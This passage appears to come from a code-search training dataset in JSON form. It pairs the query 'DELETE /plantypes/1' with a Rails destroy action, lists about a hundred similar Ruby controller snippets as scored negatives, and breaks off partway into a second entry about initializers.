'Run type was successfully updated.' }\n format.json { render :show, status: :ok, location: @run_type }\n else\n format.html { render :edit }\n format.json { render json: @run_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:title, :body, :is_pending, :team_ids, :plan_status, :user_id, team_ids: [])\n end", "def update\n @task_type = @project.task_types.find(params[:id])\n\n respond_to do |format|\n if @task_type.update_attributes(params[:task_type])\n format.html { redirect_to @task_type, :notice => 'Task type was successfully updated.' }\n format.js {render 'projects/create_task_type'}\n else\n format.js {render 'create_fail'}\n format.json { render :json => @task_type.errors, :status => :unprocessable_entity }\n end\n end\n end", "def set_type\n @type = Type.find(params[:id])\n end", "def update_question_type\n form_params = params.require(:form).permit(:question_id, :question_type)\n\n render json: Question.update_question_type(form_params)\n end", "def update\n respond_to do |format|\n if @contract_type.update(contract_type_params)\n format.html { redirect_to @contract_type, notice: 'Contract type was successfully updated.' }\n format.json { render :show, status: :ok, location: @contract_type }\n else\n format.html { render :edit }\n format.json { render json: @contract_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @type = Type.find(params[:id])\n if params[:type]['temp_title'] && params[:type]['temp_description']\n @type.name = params[:type]['temp_title']\n @type.description = params[:type]['temp_description']\n @type.image = params[:type]['temp_image']\n end\n @type.active = true\n\n respond_to do |format|\n if @type.update_attributes(params[:type])\n format.html { redirect_to @type, notice: 'Type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @segment_type = SegmentType.find(params[:id])\n\n respond_to do |format|\n if @segment_type.update_attributes(params[:segment_type])\n format.html { redirect_to @segment_type, notice: 'Segment type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @segment_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @client_type.update(client_type_params)\n render :show, status: :ok, location: @client_type\n else\n render json: @client_type.errors, status: :unprocessable_entity\n end\n end", "def set_plan\r\n @plan = Plan.find(params[:id])\r\n end", "def set_planet_type\n @planet_type = PlanetType.find(params[:id])\n end", "def set_type\n raise Error::NotFoundError unless (@type = Type.find(params[:id]))\n end", "def update\n @opportunity_type = OpportunityType.find(params[:id])\n\n respond_to do |format|\n if @opportunity_type.update_attributes(params[:opportunity_type])\n format.html { redirect_to @opportunity_type, notice: 'Opportunity type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @opportunity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @plan.update(plan_params)\n format.html { redirect_to planslink_path(@plan.family_group.id) }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @sales_plan.update(sales_plan_params)\n format.html { redirect_to @sales_plan, notice: 'Sales plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @sales_plan }\n else\n format.html { render :edit }\n format.json { render json: @sales_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def create # rubocop:disable Metrics/AbcSize\n attrs = params.require(plan_type).permit(CREATE_PARAMS)\n @plan = collection.build(attrs)\n\n if plan.save\n if block_given?\n yield\n else\n plan.reload\n\n respond_to do |format|\n format.html do\n flash[:notice] = \"Created #{plan.class.model_name.human} #{plan.name}\"\n # collection.build to create new record to properly generate path to index action (rails)\n redirect_to plans_index_path\n end\n end\n end\n\n else\n render :new\n end\n end", "def update\n respond_to do |format|\n if @inventory_plan.update(inventory_plan_params)\n format.html { redirect_to @inventory_plan, notice: 'Inventory plan was successfully updated.' }\n format.json { render :show, status: :ok, location: @inventory_plan }\n else\n format.html { render :edit }\n format.json { render json: @inventory_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @investment_type = InvestmentType.find(params[:id])\n\n respond_to do |format|\n if @investment_type.update_attributes(params[:investment_type])\n format.html { redirect_to investment_types_path, notice: 'Investment type was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @investment_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @plan_setting = PlanSetting.find(params[:id])\n\n respond_to do |format|\n if @plan_setting.update_attributes(params[:plan_setting])\n format.html { redirect_to @plan_setting, notice: 'Plan setting was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @plan_setting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @company_type = CompanyType.find(params[:id])\n\n if @company_type.update(company_type_params)\n head :no_content\n else\n render json: @company_type.errors, status: :unprocessable_entity\n end\n end", "def plan_params\n params.require(:plan).permit(:nombre, :codigo, :precio, :empresa_id, :servicio_id, :type_plan_id, :tipo_cliente_id, :state, :necesidad)\n end", "def set_plan\n return unless json_request?\n @plan = current_user.plans.find_by_ident(params[:id])\n return render json: { status: 'failed', alert: '此计划不存在' } unless @plan\n end", "def planet_type_params\n params.require(:planet_type).permit(:name)\n end", "def set_tipo_de_plan\n @tipo_de_plan = TipoDePlan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def set_plan\n @plan = Plan.find(params[:id])\n end", "def update\n @collection_type = CollectionType.find(params[:id])\n\n respond_to do |format|\n if @collection_type.update_attributes(params[:collection_type])\n format.html { redirect_to @collection_type, notice: 'Collection type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @collection_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def plan_params\n params.require(:plan).permit(:title, :body, :id)\n end", "def update\n @task_type = TaskType.find(params[:id])\n\n respond_to do |format|\n if @task_type.update_attributes(params[:task_type])\n format.html { redirect_to @task_type, notice: 'Task type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @task_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @contractor_type = ContractorType.find(params[:id])\n\n respond_to do |format|\n if @contractor_type.update_attributes(params[:contractor_type])\n format.html { redirect_to @contractor_type, notice: 'Contractor type was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @contractor_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_plan\n case params[:id]\n when \"course\"\n else \n @plan = Plan.find(params[:id])\n end\n end", "def update\n respond_to do |format|\n if @optype.update(optype_params)\n format.html { redirect_to @optype, notice: 'Optype was successfully updated.' }\n format.json { render :show, status: :ok, location: @optype }\n else\n format.html { render :edit }\n format.json { render json: @optype.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @invoice_type.update(invoice_type_params)\n render :show, status: :ok, location: @invoice_type\n else\n render json: @invoice_type.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @type.update(type_params)\n format.html { redirect_to director_types_path, notice: 'Type was successfully updated.' }\n format.json { render :show, status: :ok, location: @director_type }\n else\n format.html { render :edit }\n format.json { render json: @type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @site_plan.update(site_plan_params)\n format.html { redirect_to :back, notice: 'Site plan was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @site_plan.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @lift_type.update(lift_type_params)\n format.html {redirect_to lift_types_path, notice: 'Lift type was successfully updated.'}\n format.json {render :show, status: :ok, location: @lift_type}\n else\n format.html {render :edit}\n format.json {render json: @lift_type.errors, status: :unprocessable_entity}\n end\n end\n end", "def update\n authorize :resquest_type, :update?\n respond_to do |format|\n if @resquest_type.update(resquest_type_params)\n format.html { redirect_to @resquest_type, notice: 'Resquest type was successfully updated.' }\n format.json { render :show, status: :ok, location: @resquest_type }\n else\n format.html { render :edit }\n format.json { render json: @resquest_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @test_plan = TestPlan.find(params[:id])\n\n respond_to do |format|\n if @test_plan.update_attributes(params[:test_plan])\n format.html { redirect_to(@test_plan, :notice => 'Test plan was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_plan.errors, :status => :unprocessable_entity }\n end\n end\n end" ]
[ "0.653304", "0.6365857", "0.6267198", "0.62602186", "0.62459475", "0.6202544", "0.6202544", "0.61930364", "0.61930364", "0.61930364", "0.61930364", "0.61930364", "0.61881655", "0.61837155", "0.60982263", "0.6010647", "0.59924895", "0.59627175", "0.5955553", "0.5951102", "0.59236455", "0.59167385", "0.59154403", "0.5910593", "0.5899694", "0.58923495", "0.58605707", "0.5847083", "0.5822526", "0.58132285", "0.5798956", "0.5795539", "0.5784107", "0.5770073", "0.5754337", "0.5751632", "0.573851", "0.5732667", "0.5728526", "0.5718918", "0.5701016", "0.5695254", "0.56893647", "0.56738394", "0.5672855", "0.5669314", "0.56668293", "0.5666082", "0.5664477", "0.56577444", "0.5656216", "0.5655951", "0.56519306", "0.56433445", "0.56409293", "0.56400347", "0.56311643", "0.5628513", "0.56143093", "0.56143093", "0.56143093", "0.5613809", "0.5612518", "0.56112576", "0.5606853", "0.56006604", "0.55836076", "0.5578753", "0.5577241", "0.55704427", "0.5567221", "0.5566307", "0.5564799", "0.55592424", "0.55579114", "0.55551517", "0.55504173", "0.55499476", "0.55329406", "0.55320567", "0.5530987", "0.5526688", "0.55264074", "0.55185074", "0.55147445", "0.551339", "0.551339", "0.551339", "0.55121917", "0.5508639", "0.55068076", "0.55054384", "0.5502409", "0.5502224", "0.5500958", "0.5500907", "0.55006725", "0.5497658", "0.5496336", "0.5494729" ]
0.7356503
0
DELETE /plantypes/1 DELETE /plantypes/1.json
def destroy @plantype = Plantype.find(params[:id]) @plantype.destroy respond_to do |format| format.html { redirect_to plantypes_url } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @tipo_plan.destroy\n respond_to do |format|\n msg = { :status => \"ok\", :message => \"Eliminado!\" }\n format.json { render :json => msg }\n end\n end", "def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to test_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @costtype = Costtype.find(params[:id])\n @costtype.destroy\n\n respond_to do |format|\n format.html { redirect_to costtypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plantype_strategy = PlantypeStrategy.find(params[:id])\n @plantype_strategy.destroy\n\n respond_to do |format|\n format.html { redirect_to plantype_strategies_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n\n head :no_content\n end", "def destroy\n @type = Type.find(params[:type])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to company_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @general_plan = GeneralPlan.find(params[:id])\r\n @general_plan.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to general_plans_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n head :no_content\n end", "def destroy\n @client_type = ClientType.find(params[:id])\n @client_type.destroy\n\n respond_to do |format|\n format.html { redirect_to client_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to plans_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @crate_type = CrateType.find(params[:id])\n @crate_type.destroy\n\n respond_to do |format|\n format.html { redirect_to crate_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @type = Type.find(params[:id])\n @type.destroy\n\n respond_to do |format|\n format.html { redirect_to types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @klassplan = Klassplan.find(params[:id])\n @klassplan.destroy\n\n respond_to do |format|\n format.html { redirect_to klassplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @sslplan = Sslplan.find(params[:id])\n @sslplan.destroy\n\n respond_to do |format|\n format.html { redirect_to sslplans_url }\n format.json { head :ok }\n end\n end", "def destroy\n @run_type = RunType.find(params[:id])\n @run_type.destroy\n\n respond_to do |format|\n format.html { redirect_to run_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @api_v1_admin_type.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_admin_types_url, notice: 'Admin type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @contract_type = ContractType.find(params[:id])\n @contract_type.destroy\n\n respond_to do |format|\n format.html { redirect_to contract_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @billing_info.destroy\n respond_to do |format|\n format.html { redirect_to select_plan_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to realty_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @travel_type = TravelType.find(params[:id])\n @travel_type.destroy\n\n respond_to do |format|\n format.html { redirect_to travel_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @act_type = ActType.find(params[:id])\n @act_type.destroy\n\n respond_to do |format|\n format.html { redirect_to act_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @billing_plan.destroy\n respond_to do |format|\n format.html { redirect_to billing_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident = Incident.find(@plan.incident_id)\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to incident_plans_path(@incident) }\n format.json { head :no_content }\n end\n end", "def destroy\n @panel_plan = Panel::Plan.find(params[:id])\n @panel_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(panel_plans_url) }\n format.json { head :ok }\n end\n end", "def destroy\n @test_plan = TestPlan.find(params[:id])\n @test_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(test_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @segment_type = SegmentType.find(params[:id])\n @segment_type.destroy\n\n respond_to do |format|\n format.html { redirect_to segment_types_url }\n format.json { head :no_content }\n end\n end", "def delete(type, id)\n http_delete @target, \"#{type_info(type, :path)}/#{Addressable::URI.encode(id)}\", @auth_header, @zone\n end", "def test_delete_plan\n response=@root_key_api.change_plan(\"test-rb@precog.com\",\"password\",@account_id, \"Bronze\")\n response=@root_key_api.delete_plan(\"test-rb@precog.com\",\"password\",@account_id)\n #test it's free after delete\n response=@root_key_api.describe_plan(\"test-rb@precog.com\",\"password\",@account_id)\n assert_equal Hash, response.class\n assert_include response, 'type'\n assert_equal 'Free', response['type']\n end", "def destroy\n @vet_lab_type = VetLabType.find(params[:id])\n @vet_lab_type.destroy\n\n respond_to do |format|\n format.html { redirect_to vet_lab_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n plan_id = @response.plan_id\n @response.destroy\n respond_to do |format|\n format.html { redirect_to details_plan_path(plan_id) }\n format.json { head :no_content }\n end\n end", "def destroy\n @agency_type = AgencyType.find(params[:id])\n @agency_type.destroy\n\n respond_to do |format|\n format.html { redirect_to agency_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @callplan.destroy\n respond_to do |format|\n format.html { redirect_to callplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @jewelry_type = JewelryType.find(params[:id])\n @jewelry_type.destroy\n\n respond_to do |format|\n format.html { redirect_to jewelry_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @testtype.destroy\n respond_to do |format|\n format.html { redirect_to testtypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @socialize_plan = SocializePlan.find(params[:id])\n @socialize_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(socialize_plans_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @contractor_type = ContractorType.find(params[:id])\n @contractor_type.destroy\n\n respond_to do |format|\n format.html { redirect_to contractor_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @benchmark_type = BenchmarkType.find(params[:id])\n @benchmark_type.destroy\n\n respond_to do |format|\n format.html { redirect_to benchmark_types_url }\n format.json { head :no_content }\n format.xml { head :no_content }\n end\n end", "def destroy\n @gl_type = GlType.find(params[:id])\n @gl_type.destroy\n\n respond_to do |format|\n format.html { redirect_to gl_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @dash_type = DashType.find(params[:id])\n @dash_type.destroy\n\n respond_to do |format|\n format.html { redirect_to dash_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ad_type = AdType.find(params[:id])\n @ad_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ad_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n respond_to do |format|\n format.html { redirect_to profile_url, notice: 'Plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tasktype = Tasktype.find(params[:id])\n @tasktype.destroy\n\n respond_to do |format|\n format.html { redirect_to tasktypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @az_simple_data_type = AzSimpleDataType.find(params[:id])\n @az_simple_data_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(az_simple_data_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @run_type.destroy\n respond_to do |format|\n format.html { redirect_to run_types_url, notice: 'Run type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @planet_type.destroy\n respond_to do |format|\n format.html { redirect_to planet_types_url, notice: 'Planet type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n asset_type = AssetType.find(params[:id])\n asset_type.destroy\n\n respond_to do |format|\n format.html { redirect_to asset_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @member_type = MemberType.find(params[:id])\n @member_type.destroy\n\n respond_to do |format|\n format.html { redirect_to member_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @ref_diagnostic_test_type = Ref::DiagnosticTestType.find(params[:id])\n @ref_diagnostic_test_type.destroy\n\n respond_to do |format|\n format.html { redirect_to ref_diagnostic_test_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @premise_type = PremiseType.find(params[:id])\n @premise_type.destroy\n\n respond_to do |format|\n format.html { redirect_to premise_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plannegocio = Plannegocio.find(params[:id])\n @plannegocio.destroy\n\n respond_to do |format|\n format.html { redirect_to plannegocios_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @reform_type = ReformType.find(params[:id])\n @reform_type.destroy\n\n respond_to do |format|\n format.html { redirect_to reform_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @statement_type.destroy\n respond_to do |format|\n format.html { redirect_to statement_types_url, notice: 'Statement type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @box_request_abuse_type.destroy\n respond_to do |format|\n format.html { redirect_to box_request_abuse_types_url, notice: 'Box request abuse type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @credit_type = CreditType.find(params[:id])\n @credit_type.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @mall_type = MallType.find(params[:id])\n @mall_type.destroy\n\n respond_to do |format|\n format.html { redirect_to mall_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @collection_type = CollectionType.find(params[:id])\n @collection_type.destroy\n\n respond_to do |format|\n format.html { redirect_to collection_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = @current_user.plans.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(:root) }\n format.xml { head :ok }\n end\n end", "def destroy\n @awon_record_type.destroy\n respond_to do |format|\n format.html { redirect_to awon_record_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @investment_type = InvestmentType.find(params[:id])\n @investment_type.destroy\n\n respond_to do |format|\n format.html { redirect_to investment_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @actual_action_plan.destroy\n respond_to do |format|\n format.html { redirect_to actual_action_plans_url, notice: 'Actual action plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_type.destroy\n respond_to do |format|\n format.html { redirect_to client_types_url, notice: 'Tipo de Cliente deletado.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @plan = Plan.find(params[:id])\n @plan.destroy\n\n respond_to do |format|\n format.html { redirect_to(planes_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @business_type = BusinessType.find(params[:id])\n @business_type.destroy\n\n respond_to do |format|\n format.html { redirect_to business_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @operative_plan.destroy\n respond_to do |format|\n format.html { redirect_to operative_plans_url, notice: 'Plan operativo eliminado exitosamente' }\n format.json { head :no_content }\n end\n end", "def destroy\n @realty_type = RealtyType.find(params[:id])\n @realty_type.destroy\n\n respond_to do |format|\n format.html { redirect_to(realty_types_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @task_type.destroy\n respond_to do |format|\n format.html { redirect_to admin_task_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @loan_type.destroy\n respond_to do |format|\n format.html { redirect_to loan_types_url, notice: 'Loan type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @exercise_plan = ExercisePlan.find(params[:id])\n @exercise_plan.destroy\n\n respond_to do |format|\n format.html { redirect_to exercise_plans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admission_type = AdmissionType.find(params[:id])\n @admission_type.destroy\n\n respond_to do |format|\n format.html { redirect_to admission_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @activity_type = ActivityType.find(params[:id])\n @activity_type.destroy\n\n respond_to do |format|\n format.html { redirect_to activity_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to floor_plans_url, notice: 'Floor plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @step_type = StepType.find(params[:id])\n @step_type.destroy\n\n respond_to do |format|\n format.html { redirect_to step_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page_plan.destroy\n respond_to do |format|\n format.html { redirect_to page_plans_url, notice: 'Page plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\r\n \r\n @account_plan.destroy\r\n respond_to do |format|\r\n format.html { redirect_to account_plans_path, notice: 'El plan ha sido eliminado correctamente!! ' }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @lunchplan = Lunchplan.find(params[:id])\n @lunchplan.destroy\n\n respond_to do |format|\n format.html { redirect_to lunchplans_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @incident_type = IncidentType.find(params[:id])\n @incident_type.destroy\n\n respond_to do |format|\n format.html { redirect_to incident_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @addresstype = Addresstype.find(params[:id])\n @addresstype.destroy\n\n respond_to do |format|\n format.html { redirect_to addresstypes_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @route_type.destroy\n respond_to do |format|\n format.html { redirect_to route_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @shape_type = ShapeType.find(params[:id])\n @shape_type.destroy\n\n\t\tmsg = I18n.t('app.msgs.success_deleted', :obj => I18n.t('app.common.shape_type'))\n\t\tsend_status_update(I18n.t('app.msgs.cache_cleared', :action => msg))\n respond_to do |format|\n format.html { redirect_to admin_shape_types_url }\n format.json { head :ok }\n end\n end", "def destroy\n @claim_type.destroy\n respond_to do |format|\n format.html { redirect_to claim_types_url, notice: 'Claim type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @type_customer = TypeCustomer.find(params[:id])\n @type_customer.destroy\n\n respond_to do |format|\n format.html { redirect_to type_customers_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @contract_type.destroy\n respond_to do |format|\n format.html { redirect_to contract_types_url, notice: 'Contract type a bien été supprimé.' }\n format.json { head :no_content }\n end\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def destroy\n @budgeting_type = BudgetingType.find(params[:id])\n @budgeting_type.destroy\n\n respond_to do |format|\n format.html { redirect_to budgeting_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @trip_plan.destroy\n respond_to do |format|\n format.html { redirect_to trip_plans_url, notice: 'Trip plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @tariff_type = TariffType.find(params[:id])\n @tariff_type.destroy\n\n respond_to do |format|\n format.html { redirect_to tariff_types_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @restaurant_floor_plan.destroy\n respond_to do |format|\n format.html { redirect_to restaurant_floor_plans_url, notice: 'Restaurant floor plan was successfully destroyed.' }\n format.json { head :no_content }\n end\n end" ]
[ "0.70994043", "0.70994043", "0.70385826", "0.70385826", "0.70385826", "0.69478935", "0.6918568", "0.68923616", "0.68917394", "0.68809193", "0.685441", "0.68521744", "0.68274593", "0.68195105", "0.68046165", "0.68046165", "0.68046165", "0.68046165", "0.68046165", "0.68046165", "0.68046165", "0.68046165", "0.6797124", "0.6781845", "0.6758882", "0.6727997", "0.6695189", "0.6677034", "0.6669745", "0.6667666", "0.6650591", "0.6637516", "0.66308993", "0.6619919", "0.6614564", "0.6597652", "0.6578969", "0.6577188", "0.6575591", "0.6568918", "0.6557096", "0.6551886", "0.6542814", "0.6538205", "0.6535759", "0.6534972", "0.65302724", "0.6525894", "0.65253896", "0.65166056", "0.6514525", "0.6513993", "0.65134776", "0.6511378", "0.65096474", "0.6507045", "0.6505725", "0.65029675", "0.65024054", "0.6501917", "0.650019", "0.64971817", "0.6492923", "0.64825356", "0.64802736", "0.64769596", "0.6471965", "0.64698607", "0.6463238", "0.6462632", "0.64572656", "0.6453017", "0.64470357", "0.6439945", "0.6437873", "0.64347684", "0.6429628", "0.64288396", "0.6428449", "0.6428008", "0.6427134", "0.6425481", "0.642393", "0.64170843", "0.64160365", "0.64139336", "0.6409783", "0.6409474", "0.64055675", "0.63976526", "0.6388197", "0.6384669", "0.63823175", "0.638214", "0.6380955", "0.6378143", "0.6377239", "0.6374586", "0.637324", "0.636357" ]
0.7972531
0
Initializes the core, but does not bootstrap it.
def initialize # Define instance variables @log = nil @config = nil @robot = nil @socket = nil # Initialize those that should be done now. parse_arguments() setup_logger() # Call the block if necessary. yield(self) if block_given? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def bootstrap_init\n end", "def initialize(*args, &block)\n self.__init_core(block, *args)\n end", "def initialize!\n load_passenger\n initialize_ush_api\n initialize_debugging\n undo_bundler\n end", "def bootstrap!\n reset!\n require_relative 'kernel'\n end", "def bootstrap!\n reset!\n require_relative 'kernel'\n end", "def initialize\n set_root_path!\n \n self.frameworks = default_frameworks\n self.autoload_paths = default_autoload_paths\n self.autoload_once_paths = default_autoload_once_paths\n self.dependency_loading = default_dependency_loading\n self.eager_load_paths = default_eager_load_paths\n self.log_path = default_log_path\n self.log_level = default_log_level\n self.binder_paths = default_binder_paths\n self.marshal_path = default_marshal_path\n self.cache_classes = default_cache_classes\n self.whiny_nils = default_whiny_nils\n self.database_configuration_file = default_database_configuration_file\n self.app_config_file = default_app_config_file\n self.plugin_glob = default_plugin_glob\n self.helper_glob = default_helper_glob\n self.initializer_glob = default_initalizer_glob\n self.first_run_glob = default_first_run_glob\n self.publisher = default_publisher\n self.copyright = default_copyright\n \n for framework in default_frameworks\n self.send(\"#{framework}=\", Bowline::OrderedOptions.new)\n end\n end", "def init\n end", "def init\n end", "def init\n end", "def initialize()\n begin\n puts \"Eis::Runner::init called\" if $DEBUG\n @loaded_modules = []\n generate_module_list()\n handle = InputHandler.new()\n set_environment()\n rescue ArgumentError =>e\n 